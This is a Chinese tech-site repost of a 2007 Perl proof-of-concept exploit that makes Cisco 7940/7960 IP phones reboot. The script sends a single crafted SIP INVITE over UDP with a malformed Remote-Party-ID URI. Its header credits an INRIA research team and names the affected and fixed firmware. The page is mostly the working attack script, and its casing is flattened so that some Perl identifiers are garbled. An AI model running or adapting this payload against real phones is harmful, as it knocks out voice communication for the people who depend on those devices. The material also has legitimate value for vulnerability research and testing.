首页 电脑 电脑学堂 查看内容

Cisco Phone 7940/7960 (SIP INVITE) Remote Denial of Service Exploit

2007-3-21 10:07 784 0

摘要: #!/usr/bin/perl # title: cisco 7940 sip invite remote dos # date: february 19, 2007 # id: kiph2 ...
关键词: invite vulnerability madynes sip message 192.168 socket argv voip immediately

#!/usr/bin/perl # title: cisco 7940 sip invite remote dos # date: february 19, 2007 # id: kiph2 # # synopsis: after sending a cra fted invite message the device immediately # reboots. the phone does not check properly the sipuri field of the # remote-party-id in the message. # # the vendor was informed and acknowledged the vulnerability. this # vulnerability was identified by the madynes research team at inria # lorraine, using the madynes voip fuzzer. # # background: sip is the ietf standardized (rfcs 2543 and 3261) protocol # for voip signalization. sip is an ascii based invite message is used to # initiate and maintain a communication session. # # affected devices: cisco phone 7940/7960 running firmware p0s3-07-4-00 # # unaffected: devices running firmware pos8-6-0 # # description: after receiving one crafted sip invite message, the # affected device reboots immediately. the proof of concept code can be # used to demonstrate the vulnerability. # # resolution: # # fixed software is available from the vendor and customers following # recommended best practices (ie segregating voip traffic from data) will # be protected from malicious traffic in most situations. # # credits: # # humberto j. abdelnur (ph.d student) # # radu state (ph.d) # # olivier festor (ph.d) # # this vulnerability was identified by the madynes research team at inria # # lorraine, using the madynes voip fuzzer. # # http://madynes.loria.fr/ use io::socket::inet; die "usage $0 <dst> <port> <username>" unless ($argv[2]); $socket=new io::socket::inet->new(peerport=>$argv[1], proto=>'udp', peeraddr=>$argv[0]); $msg="invite sip:$argv[2]\@$argv[0] sip/2.0\r\nvia: sip/2.0/udp 192.168.1.2;branch=z9hg4jk\r\nfrom: sip:chirimolla \@192.168.1.2;tag=qwzng\r\nto: <sip:$argv[2]\@$argv[0];user=ip>\r \ncall-id: fosforito\@192.168.1.1\r\ncseq: 921 invite\r \nremote-party-id: csip:7940-1\@192.168.\xd1.7\r\n\r\n"; $socket->send($msg);
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部